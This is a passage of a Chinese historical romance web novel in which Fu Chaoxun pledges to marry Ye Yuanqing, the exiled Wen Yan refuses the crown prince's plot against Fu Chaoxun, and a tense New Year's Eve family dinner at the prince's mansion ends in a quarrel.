但是站在叶家人的立场上,他这样拖着确实挺混蛋的,叶元恒骂他是应该的。 他斟酌片刻,撩起裙摆跪在了傅青和叶展桡面前,沉声道:“我既已与元倾情定终生,定会娶她为妻,一生不离不弃。只是依我现在的处境,还给不了元倾安稳生活,还请祖母和伯父原谅我暂不能与她成婚。不过,我会尽快扫除身边所有障碍,然后把她娶进家门。” 他这一跪,让所有人都愣住了,谁也没有想到傅朝寻会不顾及身份跪下来。 傅青急忙上前扶他,叹气道:“傻孩子,有难处说出来就好了,何必跪下来呢!我和你伯父怎么承受得起。” 叶元倾也走上前扶他,苦涩地笑道:“祖母和父亲都是温善之人,不会为难你的,你怎么还跪下了。” 一个侯爷给外人下跪,传出去又得被他父亲一顿毒打。 傅朝寻站起身,回道:“我是怕大家误会。” 叶元恒揉着腰出了房间,他这个大舅哥看来是真的难当了。 “元恒!”父亲突然叫他,“天冷,让厨子去做点热乎的饭菜,你和元萧陪陪朝寻。” 朝寻。 父亲这么快就叫顺口了。 叶元恒又走回房间,看了一眼傅朝寻,道:“走吧!去喝点酒,喝醉了就在这里住一晚。以后,先把话说明白了再动嘴,搞得人误会多尴尬。” 傅朝寻见他一直揉着腰,应该是从墙头掉下来摔的,看来祖母和伯父也是他叫来的。 他笑道:“大哥说的是,是我不够严谨,待会我先自罚三杯。” 叶元恒满意地点点头,一手搭在他的肩膀上,一边往外走着一边嘀咕道:“心急吃不了热豆腐,以后,好歹找个暖和点的地方,哪有在人家门口这么放肆的,这要不是看在我那傻妹妹对你一往情深的份上,我早就放狗咬你了。” 傅朝寻:“大哥说的是,以后找个暖和的地方。” 叶元恒:“……” 傅朝寻在将军府喝了半夜的酒,期间温容一直劝他,害怕他喝醉了回不了家,结果他闷头一直喝,终于把自己喝醉了,用尚存的一丝意识对温容道:“岳母!我那院子太冷清了,朝寻想在将军府睡一夜,你别赶我走。” 这婚还未成呢,怎么又叫上岳母了。 温容有些激动地让人给他收拾了房间,留他在将军府睡了一夜。 —— 边疆地区气候极端,风沙肆虐,冬日寒风淋漓,吹在脸上,如刀子般划过。 简陋的房间里,破旧的木门用木棍抵着,狂风一吹,哐当哐当地响。 温齐又拿来一根粗一点的木棍抵在门上,确定无误了才端起盛煤的盆子走到床边给火炉子添煤。 他添完煤,拍了拍面朝里躺着的温衍,轻声问:“衍儿,好一点了没有?今早父亲买了只鸡过来,一会儿给你炖了吃,多吃点营养的东西,熬过这个冬天就好了,马上就大年了,春天很快就到了。” 床上的人没有说话。 温齐担心地拿手探了探他的额头,发现烫的不行,惊了一声道:“衍儿,怎么发烧了?” 他说着,把温衍扶起身来。 脸颊涨红瘦弱不已的温衍躺在父亲的怀里,虚弱地张了张口道:“父亲我没事,躺一会就好了。” 温齐抚摸着他的脸,眼泪瞬间落了下来,心疼地说:“衍儿,都怪父亲没有照顾好你,来,父亲背你去找大夫。” 温衍摇了摇头道:“太远了父亲,衍儿不想动,只想躺一会。” “这怎么行。”温齐擦了擦眼泪,把他抱起来,“衍儿,坚强一点,熬过这个冬天就好了,你一定会没事的。” 温衍苦涩地笑笑:“父亲!放弃吧!我这样,怎么还能撑到春天,你别再奔波了。” 温齐一边流着眼泪,一边抱着他往外走,他把刚抵上的木棍拿开,房门一打开,一阵狂风吹来,险些把二人吹倒。 温衍扯了扯他的衣袖,勉强发出声音,又劝道:“父亲,别去了,我撑不到地方,让我一个人躺一会。” 温齐用袖子遮住他的脸,迎着狂风往前走着,说:“傻孩子,有父亲在,不要怕,你这个病死不了人,这里环境太恶劣了,等到天暖和一些就好了。父亲已经在镇上找好新的住处,守卫说,只要父亲干满一百个工就让我们搬过去,那里环境好,到时候好好养养,你一定会康复的。” “父亲!” 温衍模糊不清的双眼早已流不出眼泪了。 黄沙漫天,温齐抱着他,艰难地往前走着,不断地说着鼓励的话。他们来这里有一段时间了,刚过来第一天温衍就病倒了,他除了身体病了,心也病了,每天躺在床上话也不说,不是呆呆地盯着一个地方,就是默默地流泪。 他不知道叶元倾的事情为何对他打击那么大,一份感情就把他折磨的不成人样,这孩子还是太脆弱了,早知结果如此,他当初就不该把他送到将军府,后来也不该让他继续追求叶元倾。 终归还是自己的贪心伤害了孩子。 如今一切都晚了,他只希望自己还能为他做点什么,起码在他为时不多的生命里让他多感受一些父爱。 他自幼就没了母亲,长这么大,却从来没有抱怨过,哪怕思念母亲也只是躲起来偷偷地哭,其实这孩子除了执拗一些,各方面都挺好的。 但是,上天却用爱情惩罚他,惩罚他们起了歪心思。 上天是公平的,不会亏待任何一个人好人,也不会放过任何一个坏人。 风越来越大,不一会,只见一行马车向这边驶来。 这种地方,怎么会有车队过来? 马车停在他们面前,为首的马车帘子被掀开,一张熟悉的面容出现在父子二人面前。 温齐见状,抱着温衍急忙跪下行礼。 马车上的人下来,迎着风沙走到他们面前,伸手将他们扶起。 风吹得人睁不开眼,脚下的沙尘一圈圈席卷而来。 来人看了看躺在温齐怀中的温衍,蹙眉道:“我带了医师过来t?,快进屋给他治疗。” 第63章 第 63 章 “是生是死都不会再惦记…… 破旧的房屋坐落在一片荒芜中, 周围狂风肆虐,风沙漫天。 温齐带着太子傅亦进了房间,他先把温衍放到床上, 然后搬来房中最干净的一把椅子过来, 用袖子擦了擦,对一袭昂贵锦衣的傅亦道:“太子,寒舍简陋,你且迁就一下,我去给您倒杯热茶。” 傅亦摆了摆手,对跟来的医师道:“先给温衍治病,我看他虚弱的不行。” 医师行了礼, 走到床上,开始帮温衍把脉。 温衍转头去看傅亦, 见他一直紧皱着眉头,低声道:“边疆岂是你能来的地方,这里环境恶劣,时不时有沙尘暴, 你快些回去。” 温衍和傅亦的娘亲都是太后的娘家人,算起来两个人还是表兄弟。傅亦小时候因为太后管的严, 从未出过皇宫,也没有玩伴,后来温衍进宫次数多了, 两个人就玩到了一起,还成了无话不说的好朋友。 那时候, 傅亦每天期盼着温衍进宫,然后给他讲一些皇宫外的事情。 两个人长大后,傅亦被封了太子, 身上责任重了,也开始有了不一样的心思,他每天都在担心自己太子之位不保,也每天担心有人暗杀他,他一有困难就去找温衍,希望温衍和温家能够帮他,他也给温衍许了很多承诺,他说只要温衍此生追随于他,他会给温衍享不尽的荣华富贵。 两个人本以为相辅相成能到他登基那天,孰料温衍因为一名女子断送了自己的一生,傅亦为此很痛心很恐慌。 傅亦了解温衍,只是他不解到底什么的样感情能让温衍疯狂到不顾一切。 在上次杀傅朝寻的计划中,其实温衍是有机会把傅朝寻杀掉的,只要他稍微心狠一点,只要他控制一下自己的情绪,就不会因为叶元倾的言语刺激乱了方寸,更不会人没杀成,还把自己搞到这个鬼地方。 时下看着他那副虚弱不堪的样子,真的很心疼很上火。 他微蹙了下眉头,道:“我千里迢迢跑来,还未坐下你就赶我走?我带了医师,还带了很多食物和银子,够你们用一段时间,你养一养,跟我回京城。” 回京城? 温齐微微一惊,看了一眼屋门,害怕这话被看守的士兵听到,他们是罪犯,私自离开这里可是要砍头的。 傅亦扫了一眼简陋的房间,眉头皱的更紧了,这哪是人住的地方。 他站起身,走到温衍跟前,伸手探了探他的额头,沉声道:“就你这幅小身板,还能撑几天,到了京城,我想办法保你。” 温衍没说话,医师给他吃了一粒药,又给他配了药材去煎药。 温齐带着医师出去了,房间里只剩下温衍和傅亦。 傅亦坐下来,帮他掖了掖被子,道:“我现在遇到了麻烦,傅朝寻这匹野狼越杀越勇,不仅掌握了重要权力,还暗中调查我。他武功高强,警觉性很高,我派了好几波人都杀不了他。如今他和叶元倾暧昧不清,一直都未成婚,也不知在搞什么。以前我以为傅呈延是我们最大的阻碍,没想到傅朝寻更难对付,就连姜家都被他搬倒了,可怜能力有多强。” 他说到这里,看向温衍,见他面颊苍白,眼神无光,如同一朵被丢在风雪中的花儿,虽被摧残,但依旧好看。 他想说几句难听的话,但是又怕他那几口气顶不住,只好放轻了语气道:“之前让你接近傅呈延,本来我们的计划就快完成了,结果你却因为私人感情耽误了那么多事。我解不了你这种痴情的人,但是现在你还有机会,我带你回京,你去接近叶元倾,我们想办法先把傅朝寻杀了,他的权力越来越大,比傅呈延难对付的多,若是傅亲王放弃傅呈延选择培养傅朝寻,那么我这个太子之位就很难保住了。我在这世上信任的人不多,而你是我最信任的一个。” “温衍!”他默了片刻,语音更温和了一些:“帮帮我。” 帮帮他,不然他可能也活不了多久了。 身为皇家子嗣,这一点他是清楚的,这么多年来,父皇都未生出一个皇子,可见有多可怕,他能活到今天也算是个奇迹。 如今温家倒了,太后那边的权力也快没了,父皇还一直防着他谋朝串位,亲王府又有三个英勇的儿子虎视眈眈地盯着他,他有点怕了。 温衍安静地听完,动了动身坐起了一些,苦涩地笑笑,勉强开口道:“你觉得我这样还能为你做什么,我知道你的难处,但是我不会伤害叶元倾。” 他怎么还能再去伤害,这么多天他一直都活在愧疚之中,他一遍遍地回忆他和叶元倾的曾经,一遍遍地从那些相处中搜寻自己的过错,然后再一遍遍地懊悔、自责。 以前的过错还没有忏悔完,怎么可能再去犯错。 傅亦轻叹了口气,道:“并不是让你去伤害她,我可以重新给你一个身份,有了新的身份再接近她,会容易很多,如果这张脸你不舍得动,我们可以适当调整,性格方面改变改变也不是很难。既然你依旧忘记不了她,不如趁此机会继续追求她,傅朝寻目前最大的软肋就是叶元倾,你若抓住了她的心,一切都好办了。” 抓住她的心?他哪有那么大的本事抓住她的心,以前那么深厚的感情都留不住人,何况以后。 温衍蹙眉道:“你不用再劝我,我不可能跟你回去,我这条命也算到尽头了,死之前起码保留点善心吧!你作为帝王家的孩子,一出生就有了结局,这么多年了,你应该学着接受,你若能顺利登基,说明你有能力,若是不能,你也怪不得任何人,弱肉强食的法则你应该比我懂。” 温衍自认为已经帮他够多了,以前他觉得他们都没有母亲很可怜,便拿出了一些真心待他帮他,为的就是能让他在深宫之中过的不那么艰难,但是渐渐地,他被权势冲昏了头脑,也把他带到了歪路上。 终归,也是他自制力不够,判断不出好坏,落得个害人害己的结果。 傅亦没想到他会拒绝的如此干脆,沉默了一会道:“你难道真的放弃了叶元倾?” 爱的那样死去活来,就这样放弃了? 温衍坐久了很累,躺平了一些,说话语音也开始虚弱起来:“放弃了,是生是死都不会再惦记她。” “那你这幅鬼样子又是为何?” “只是环境差,没精神。” “当真如此?我可听说你一直卧床不起,整日落泪。” 温衍沉默下来没再说话。 房间里安静了好一会。 傅亦见他精神越来越差,又不死心的问:“你当真不跟我回去?只要你跟我走,我会保你一世周全。” 温衍应了一声,没有多言。 傅亦坐着没再说话,过了很久才站起身来,他掏出一大把银票放在桌子上,又把自己经常盘的两颗夜明珠留给他,说:“既然想开了,那就坚强一点,好好的活着。” 好好的活着。 温衍没回答,待傅亦走到门前时,才轻声道:“我们这一别可能永生不再相见,你有你的命数,我只求你答应我一件事,任何时候都不要去伤害叶元倾。无论你走到哪一步,你都尽力了,我也希望你能好好活着。” 这个世上,能得到一位知己,无论男女,都值得珍惜,那份真心也值得尊重,曾经一起经历过的事情和陪伴,也值得回忆。 傅亦在门前站了好一会,最终轻叹一声出了房间。他让人把带来的衣物和食物都卸了下来,然后让医师暂且留下给温衍治病,他又回头看了一眼屋里的人,带着复杂的心情上了马车,回了京城。 温齐送走傅亦以后回了房间,见温衍又面朝里躺着,轻轻叹着气。 桌子上放着的银票和夜明珠,让人瞧着既可惜又欣慰。 温衍还是保留了一份善心。 —— 清晨院子里有一层薄雾,盈盈绕绕的,笼罩在院中光秃秃的大树上格外好看。 傅朝寻一早就起床了,他搓了搓手,哈着热气,在叶元倾的院门前徘徊着。 大寺有急事,他得走了,但是走之前他好想见见她。 这个时辰她应该还没有起床。 他又在门外走了一会,往里看了看,里面一直没有动静。 一旁的卫知又催他:“公子,此事特别重要,耽误不得,不然等你办完了再来看她。” 大寺查货了一大批莫名书籍,期中有几本的内容具有通敌t?卖国的嫌疑,他怀疑这些书籍和大学士有关,可能还牵扯到今年的科考,这么重大的事情确实耽误不得。 他又往里看了看,依旧见不到叶元倾,在卫知的催促下只好往外走去,快走到院门时,终是听到了熟悉的声音。 “傅朝寻,你等下。” 他蓦地停住脚步,惊喜地转过身来。 只见叶元倾裹着一件氅衣跑来,她跑到他跟前,抓起他的手,把一个香囊放到他手里,喘着气笑道:“还好你没走,熬了一夜终于绣完了,快看看怎么样。” 傅朝寻看了看手中的香囊,激动地问:“这是你绣的?” 叶元倾点点头,嘿嘿笑道:“就是丑了点。” 她指了指上面两个分不清物种的花样,说:“这是一对鸳鸯,是不是很生动?” 傅朝寻仔细看了看,没看出来是鸳鸯,但还是开心地笑道:“很生动,很形象,你绣的真好。” 他伸手揉了揉她的脸蛋,心疼地问:“熬了一夜累不累?” 叶元倾抓住他的手揣进氅衣里帮他暖了暖,回道:“不累,明日就是你的生辰了,我想快点绣完送给你。之前我一直害怕送不了礼物,这次终于可以提前送上了,上次我给你的信,你记得明天要看。” 傅朝寻点着头,想把他搂进怀里,但是在将军府又不方便,只好又揉了揉她的小脸说:“明日我早早办完事来接你,去侯府让厨子给你做好吃的。” 叶元倾开心地应着,趁周围没人看来时,抬脚到他脸上亲了一口。 傅朝寻微微怔住,一瞬间感觉心都要融化了。 他摸了摸脸,又看她几眼,低头回她一吻,然后依依不舍地离开了。 他一直摸着脸颊,回味着她主动给他的吻,因为走得急,出门时,撞上了前来的叶卓。 叶卓险些被他撞倒,两个人同时怔住,然后都蹙起了眉头。 叶卓打量着傅朝寻,眉头皱得更紧了,大早上傅朝寻怎么会从这里出来? 难道他在这里过夜了? 傅朝寻淡淡瞥叶卓一眼,话也未说就上了马,然后一勒缰绳,呼啸而去。 叶卓望着他,突然想起西陵街附近暗杀那晚,在生死危难关头,傅朝寻抬着厚重的石门对他说:“你进去,保护她们。” 那是生死选择,傅朝寻竟然连眼睛都未眨一下,选择保他的性命。 傅朝寻的英勇和担当,着实让他佩服。若是他不与他抢叶元倾,他想他一定会非常敬重他的。 “卓哥哥。”叶元倾在身后叫了他一声。 他缓过神,迎上她:“妹妹!” 自那日表白以后,两个都没怎么见过面,叶卓也未等到叶元倾的答案。 他不知道她愿不愿意给他机会。 叶元倾为了不制造麻烦,还和以前一样,见了面还是会叫一声“卓哥哥”。 “宁妹妹呢?怎么没来?”叶元倾问他。 两个人往院中走,叶卓没敢去看她的眼睛,轻声回道:“宁儿今日有琴课,一早就去练琴了。” “恩。”叶元倾问他:“卓哥哥过来有事吗?” 两个人再接触,多少有些不自在,叶元倾总是有意无意地与他拉开距离。 叶卓望着她躲避的样子,眸光渐渐暗沉下来,低声回道:“明天是大年,皇上在宫里设了宴,想让我带着家眷一起过去,我来与你说一声。” 与她说一声?她还没有答应。 她疑惑地问:“是皇上邀请的我?还是卓哥哥要带我一起去?” 她不想去。 叶卓回道:“是皇上邀请的,还邀请了宁妹妹。父亲母亲要过来陪祖母,大哥和三弟也有事,所以我只能带上你和叶宁。” 叶元倾淡淡应了一声,然后又问:“是皇上下的命令吗?必须去吗?” 她又不是太师府的家眷,很明显叶卓是刻意带上她的。 他见她又问了一遍,看出了她的不情愿,但还是应道:“对。” 叶元倾没说话,过了好一会才答应:“好,既然是皇上邀请的,那就得去。明日什么时辰去?” “明日巳时。” “什么时候能回来?” “还不确定。” 明天是大年,也是傅朝寻的生辰,叶元倾本来是打算陪傅朝寻的,孰料突然要去皇宫赴宴,若是一直回不来该怎么办?她不想让傅朝寻等。 两个人继续往前走,叶卓又说:“今年的年夜饭两府一起用,用完饭我们去湖边放烟花,我已安排好了,今年一定要痛痛快快地放一场,下一个新年,不知我还能不能与大家一起过。” 等他回禹国接任了太子事务,应该不会再有时间来这里了。 叶元倾一直都在想她和傅朝寻的事,并未听进去他说的话。 二人到了院中,叶卓见她心不在焉,停下来,掏出一枚发簪递给她,道:“妹妹!这是我送你的新年礼物。” 新年礼物? 叶元倾微微愣住,看了看他手中的发簪,没有接。 这是一枚非常昂贵的用黄金和玉器打造的簪子,上面的雕花精美独特,十分漂亮。 叶卓见她不准备接,忙道:“宁妹妹也有一个,我也送给了她。” 即便如此,叶元倾依旧没有接,这段时间她也看出来了,叶卓虽然是真心喜欢她,但是他却不曾与叶宁说清楚讲明白,也许他是怕伤害到叶宁,但他总是这样,也是在无形地伤害叶宁。 她思忖片刻,道:“卓哥哥,我觉得有些事情你还是要先和宁妹妹说清楚,不然对谁都不好。你送我东西可以,我可以接受也可以不接受,但是你不能怕我不接受顺便送给叶宁,以前我们不知道她对你有心思也就算了,但是现在,你再这样做会让她很难过。” 她看向他,认真地道:“有些话,我也要和你说明白。我和傅朝寻已经情定终生了,我和你不会再有可能。在我心里,你是我兄长,就像元恒哥哥和元萧哥哥那样,我很感谢你的诚意,但是恕我不能接受你。以后若是你还愿意把我当做妹妹,我还会像从前一样待你,不会刻意躲避你,你要是觉得不自在,我们也可以永远不见。” 永远不见。 清晨格外地冷,说话时还飘着雾气,叶卓试想过很多次她拒绝的话,但是真的听到了还是有些难以接受,他全身就像僵住了一样,哪哪都动不了了。 他拿着发簪的手一直僵在半空,过了许久才叫了一声“妹妹”。 叶元倾觉得与其让他不断的探索希望,还不如直接断了他的念想,他也该回禹国了,就让时间帮他冲淡忧伤吧! 她又道:“你应该知道那种爱而不得的痛苦,我想卓哥哥也不希望我和喜欢的人分开,然后一直痛苦吧!” 感情就是如此,既然选择去喜欢,就要做好受伤害的准备,没有人有责任为你的感情负责,相爱就在一起,不相爱就不必纠缠,她希望叶卓能明白这个道。 叶卓始终都未说一句话。 叶元倾也不想再多言,行礼后就离开了。 今天是大年三十,京城里的鞭炮声早已不绝于耳。 将军府和太师府门前也开始放起鞭炮,小丫鬟们开心的给周围的孩子撒糖果,府上的公子小姐凑到一起点灯笼。 叶元倾和叶宁负责点灯笼,哥哥们则负责把点好的灯笼挂到树上去。 他们在太师府挂完灯笼又去将军府挂,把两个府都挂的灯火通明。 天上突然飘雪了,光影灼灼下特别漂亮。 几个人开心地去院门外堆雪人,他们堆了一排的雪人,个个都有姓名,里面还有一个叫傅朝寻。 叶宁在叶卓那个雪人下面用树枝画上他的名字和一个笑脸,对他说:“二哥哥,你去禹国以后,京城里下了好几场大雪,那天我和元倾姐姐在门前堆了四个雪人,其中一个就是你。那时候我还问元倾姐姐,我怎么那么想你呢?你什么时候才能回来呢?没多久,你就真的回来了,妹妹见到你,真的很激动很激动。以后,无论卓哥哥在什么地方,是什么身份,在我们叶家,永远都有你的位置,宁儿也希望,卓哥哥永远都是那个会疼人的善良人。” 会疼人的善良人。 雪越下越大,落在她的头上,她的眼睫上,在白茫茫的雪景下,她看起来就像一只闪闪发光的精灵。 世上怎么会有这么单纯可爱的姑娘呀!她配的上世上最纯真的爱情。 不知何时起,他的鼻子已经酸了,内心的复杂比任何时候都要浓。 当他准备为爱就此一搏的时候,上天却偏偏让他最舍不得伤害的人喜欢上了他。 渐渐地,他的执念被动摇了。 他伸手接了一片雪花,握在t?掌心里,再打开,雪花已经化了。 有些感情或许就像雪花吧!虽然很美,但是稍微有点温度就会融化。 “叶宁!”他团了一个雪球,叫了她一声。 叶宁转过身来,喊了一声“二哥哥”,接着只听“啪”的一声,雪球砸在了她的身上。 她瞪眼愣了愣,立马团了一个雪球砸回去,仰着小脸道:“二哥哥,你竟然砸我。” 她叫叶元倾:“元倾姐姐!二哥哥欺负我,你快帮我砸他。” “好嘞!”叶元倾团了一个雪球跑过来。 叶卓见两个人气势汹汹地要开战,转身就跑。 叶宁和叶元倾捧着雪球在身后追他,叶宁边追边喊着:“二哥哥你胆子大了,竟然拿雪球砸我,今天我要让你好看。” “啪!” 一个大雪球砸在了叶卓的脸上,乐得叶宁哈哈大笑。 漫天风雪中,几个人开始一边追逐一边嬉笑,就像小时候住在叶家大院里一样,每到大年三十,大家都会在院子里打一场雪仗,那时候,叶卓总是被砸的最惨的一个。 这场雪很美,对叶卓来说意义不凡。 —— 偌大的亲王府里格外地冷清,烟花炮竹没有点,连院中的灯笼都是灭的。 二十几年来,亲王府一直如此,每到过年这两日府上均是一切从简。 时下周围府邸的鞭炮齐鸣,显得亲王府更加冷清。 今日一大早傅亲王就差人到大寺通知傅朝寻,说今天让他早点回府,晚上一起吃年夜饭。 为了这顿饭,即便手中的事情麻烦,傅朝寻也提前处完了,他快速回了亲王府,先是洗漱了一番,然后换上卫知提前给他准备好的新衣服。 卫知比他还兴奋,一边帮他着,一边笑道:“待会儿公子到了殿里先给王爷行礼敬茶,吃饭的时候多看看大公子怎么做的,能不说话的时候就少说话,以免说错了搞得气氛尴尬。卫知已经提前准备好了礼物,都是根据大家的喜好准备的,到时候你看看他们有没有互相送礼,若是送了,你叫我,我再把礼物拿过去送给大家。” 卫知就像一位老母亲,贴心地嘱咐着。 傅朝寻唇边的笑意越来越浓,穿好衣服在镜子前照了照,他今天比以往都要精神。 一切准备完毕,他和卫知去了前院。 前院里很安静,院中的灯也是昏暗的。 管家见他过来,迎上前来,道:“公子先到殿里坐着,王爷还要晚一点才能到。” 傅朝寻不了解他们以往怎么安排的,今年能邀请他,他已经很满足了,他点着头,进了大殿。 傅呈延和傅峥临已经在殿中坐着,见他进来,也没打招呼。 傅朝寻看了看偌大的餐桌,不清楚自己坐在哪里比较合适。 他思忖一会,走到傅呈延的一旁坐下来。 傅峥临见亲兄弟坐在了一起,眉头皱的更紧了,脸色也越来越难看。 三兄弟难得凑到一起,却神色各异,各怀心事。 殿中安静了好一会,傅峥临突然问傅朝寻:“三弟何时把元倾姑娘娶回家?” 第64章 第 64 章 “你若是再敢靠近她…… 傅峥临, 外人面前温润儒雅的贵公子,父亲面前乖巧懂事的二儿子,亲王府三子中最受宠的一个, 也是吏部尚书的外孙。 他外祖父梁氏一族世代为官, 前朝时期曾与温家被誉为京城之中最大的两个家族。 梁家人员众多,家中官员也多,上到朝中大臣,下到地方小官,都有梁家的人。 梁家人很聪明也很低调,近年来因为温衍的舅舅梁珂多次拐骗幼女一事风评非常不好。傅峥临的祖父也是个狡猾的人,和王妃很像, 表面温和善良,实则野心很大又嫉妒心极强。 当初傅朝寻的母亲刚过头七, 王妃就用一些特殊手段火速上位,然后带着她的庶子傅峥临在亲王府里一飞登天。 傅朝寻从来不会去评判父亲对王妃的宠爱,毕竟母亲已经去世,父亲也需要继续生活, 重新爱上一个人并没有错,只是, 王妃和她娘家的人野心很大,总想为身为庶子的傅峥临争取一些嫡长子的权力。 这些年,若不是父亲拿着傅朝寻的功劳去提携傅呈延, 也许将来的亲王府都是傅峥临的。 傅峥临从小就看不惯亲兄弟俩坐在一起,会让他觉得自己在亲王府的地位受到威胁。 三兄弟在同一个屋檐下活了二十多年, 彼此都了解一些对方的心思,虽然互相看不顺眼,但是由父亲压着, 平日里都不敢造次。 时下,傅峥临突然提起叶元倾,神情里还带着一些挑衅,让傅朝寻极其不舒服。 傅朝寻冷眼看他,并没有回答。 傅峥临铁了心想聊聊这个话题,又继续道:“三弟和元倾姑娘的爱情可谓是惊天地泣鬼神,整个京城无人不知无人不晓。三弟连叶元倾的青梅竹马温大少爷都能挤走,说明不是个寻常人。如今,你升官加爵,和叶元倾身份上也算配的上了,只是我不明白,你们二人为何一直不成婚?难道只是一时冲动,已经没有了激情?” 傅峥临长相温和,多有几分书生气质,但是说起话来却非常尖酸刻薄。 这么多年了,因为傅朝寻了解他的为人,早已习惯。以前他说什么他都不会在意,但是他今天提起叶元倾他就在意的不行。 傅朝寻看他的眼神愈冷,从腰间掏出一把匕首“哐当”一声甩在桌子上,冷声道:“我们的事情,无需你来操心。” 傅峥临这个时候提起叶元倾很明显是在刺激他。 傅峥临看了一眼桌子上的匕首,挑唇笑了,道:“不好意思,我忘记今天是什么日子了,祭奠这两日,是不宜提起婚嫁的。” 祭奠。 他娘亲的祭奠,也是他出生的日子。 二十几年来,傅朝寻头一次坐在这里,却不止一次听到这种风凉话。 傅峥临,一个本来可以安安静静享受荣华富贵的人,却一二再而三的挑衅傅朝寻,还专挑了今天这样特殊的日子。 傅朝寻握着杯盏的手越来越紧,手背上的青筋已经爆起。 傅峥临见兄弟俩都沉默不言,知道他们不敢在今天惹乱子,又故意道:“去年大哥就想过去将军府提亲,只可惜没去成,与元倾姑娘错过了姻缘。不过没关系,三弟把她娶进家一样是……” “啪!” 傅峥临话还未说完,傅朝寻手里的杯盏碎片就已经向他飞去。“刺啦”一声响,傅峥临感觉脸上一疼,下巴上就被碎片划出一道伤口,鲜血也开始往外流。 傅峥临吃疼地“啊”了一声,立马用手捂住下巴,一拍桌子道:“傅朝寻,你竟敢对我动手?我好心好意关心你们的婚事,你别不识好歹。” 傅朝寻微微眯了一下眼睛,眉眼间尽是凛然,瞳仁又变得黑如墨色,他紧握的碎片已经扎入皮肉里,冷声道:“若不是在亲王府里,方才我甩出去的不是碎片而是刀子。” “你……” 候在门前的管家见状急忙让人去叫医师,然后拿了帕子帮傅峥临按住流血的伤口。 傅朝寻挑唇冷笑,果然是温室里的花朵,芝麻大的伤口都顶不住。 “临儿。” 王妃慌慌张张地跑来,看到傅峥临脸上流了血,担忧地问:“临儿,怎么回事?怎么受了伤?” 傅峥临安慰王妃道:“娘,别担心,我没事。” 他说着,看向傅朝寻。 王妃立即懂了他的意思,蹙眉问傅朝寻:“寻儿,这是你下的手?你竟然对你兄长下这样的狠手?” 傅朝寻深知接下来会发生什么,他没有回答,依旧笔挺地坐着。 一旁的傅呈延也默不作声,这么多年他一向如此,无论府上发生任何事情,好像都与他无关一样,永远都是一副高在上的姿态冷眼看着。 王妃见傅朝寻手中握着碎片,冷笑道:“寻儿,你说你到底想要如何?每次家中只要有聚餐你就会出来捣乱,不是说一些难听的话,就是冷着脸,现在竟然开始动手了。为了能让你一起吃一顿年夜饭,我和你二哥在王爷面前为你各种求情,结果你不感激就算了,竟然还出手伤人。” 他们帮他说的情?傅朝寻不仅在心中冷笑,这母子俩最会演戏。 “王爷!” 这时候,一袭黑衣的傅柏弘踏进殿门。 他在殿前停下,扫视了一圈,厉声道:“怎么回事?在门外就听到你们大呼小叫。” 王妃看到他,立马拉着傅峥临走到他跟前,含着眼泪道:“王爷你快看看,寻儿也不知怎么了,竟然对峥临下这么重的手,都流血了。” 傅柏弘看了一眼,眉头皱的更紧了。 “寻儿。t?”他冷喝一声,“要不要跟为父解释解释你为何出手伤人。” 傅朝寻自知躲不过去,站起身来,回道:“二哥说了一些我听不惯的话,我一时动气就出手伤了他。” “你听不惯的话。”傅柏弘皱眉,“你听不惯的话多的是,怎么,每次都要动手?” 他一甩衣袖走到桌前坐下,吩咐道:“快给你二哥道歉,我不予追究。” 追究,父亲这话说的真是生分。 傅朝寻蹙眉道:“是二哥先挑衅我,我本就无错,何需道歉?” 不道歉? 傅柏弘冷眼看他,厉声道:“你先动手就是你不对,不用找借口。” 傅朝寻觉得这顿饭恐怕是吃不成了,那满心的期待在这一刻也全都破灭了。 他垂首皱着眉,默了好一会才道:“恕我不能给二哥道歉,若是扰了父亲的心情,我现在就走。” 走? 傅柏弘望着他永远都是那副倔强的样子,眉头皱的更紧了,厉声道:“怎么,为父今日叫你过来就是让你扫兴的?你不是一直都期盼着一起吃一顿年夜饭吗?今日叫你来了,你还有什么不开心,不满意?” 他怎么能开心?他有多大的心在这个时候还能开心? 王妃见傅柏弘真动了气,对傅朝寻道:“寻儿,你二哥也不需要你道歉,你只需记住以后别这么暴躁就好了。王爷今日能让你来也是下了很大的决心,你也知道,丑时就是你的生辰,也是你娘亲的祭日,你父亲不让你来,还不是怕你们兄弟俩想起母亲难过,他对你们娘亲情深义重,也经受不住那种伤痛。寻儿啊!体谅体谅你父亲,别再惹事了。” 让他体谅父亲?谁来体谅他? 就因为他的生辰是娘亲的祭日,所以父亲就狠心二十几年把他撇在门外,连一顿年夜饭都吃不上? 父亲和王妃不是好的很吗?他不相信二十几年了父亲因为惦记娘亲这样对待他。 真是可笑至极。 他不禁冷笑道:“所以,母亲的死,对你们来说全都是我的错?几十年过去了,随便你们怎么说我,我无所谓,就当是我不自量力不该奢求这一顿饭。你们真是不欢迎我,我走便是。” 他受够了这种窝囊气。 他说罢,头也不回地就向殿外走去。 “你给我站住。”父亲在身后冷声叫他。 他继续往前走,再也不想听到父亲暴怒的声音。 噼里啪啦一阵响,应该是父亲又开始摔碟子砸碗了。 他出了大殿一路向院门走去。 雪下的有点大,天也越来越冷。 卫知急忙跟上他,问道:“公子,你要去哪里?” 傅朝寻没有说话,只是迈着沉重的步子一直往前走。 卫知安慰他:“公子莫要难过,这次是二公子挑事,怪不得您,王妃您是知道的,惯会在王爷面前说这种话,虽然我们猜不透王爷的心思,但是他今日叫您过来,说明心里还是有您的,其实……您刚才可以忍一忍。” 忍? 傅朝寻冷笑:“他们怎么对待我都可以,就是不许说我娘亲和元倾。父亲已经对他们母子够好了,他们还有什么不满足?非得把我们赶出家门他们才满意?” 他踏出院门,一路向后山方向走去,心里比寒冷的天气还要凉。 父亲为了亲王府不敢轻易得罪梁家他能解,但是父亲这样放纵那母子俩,难道不是因为感情深和偏心吗? 他不知道父亲对已故的母亲的感情如何,但是父亲这样讨厌他,甚至恨他,定然是因为他的出生导致了娘亲的离世。 这又怎能怪得了他?以前他也试着去解父亲的心情,但是每年除夕之夜他站在风雪里听着殿里的说笑声,又觉得自己这种想法是那么的可笑。 这种矛盾的心情伴随了他很多年,他猜不透父亲,也感化不了父亲。 他越走越快,白雪浸湿了衣袍。 卫知担心他,紧跟着他,劝他:“公子,天冷,我们回去吧!卫知给你包饺子。” 傅朝寻没有做声,继续往前走,风吹的眼睛湿湿的。 卫知又道:“要不,我们去找元倾姑娘吧!带她去侯府,一起吃一顿年夜饭。” 他依旧没有回答。 在他孤独狼狈的时候,怎么忍心把她叫出来呢!这种特殊的日子,她也需要家人的陪伴,她也需要围在父母兄长身边开开心心的吃一顿年夜饭。 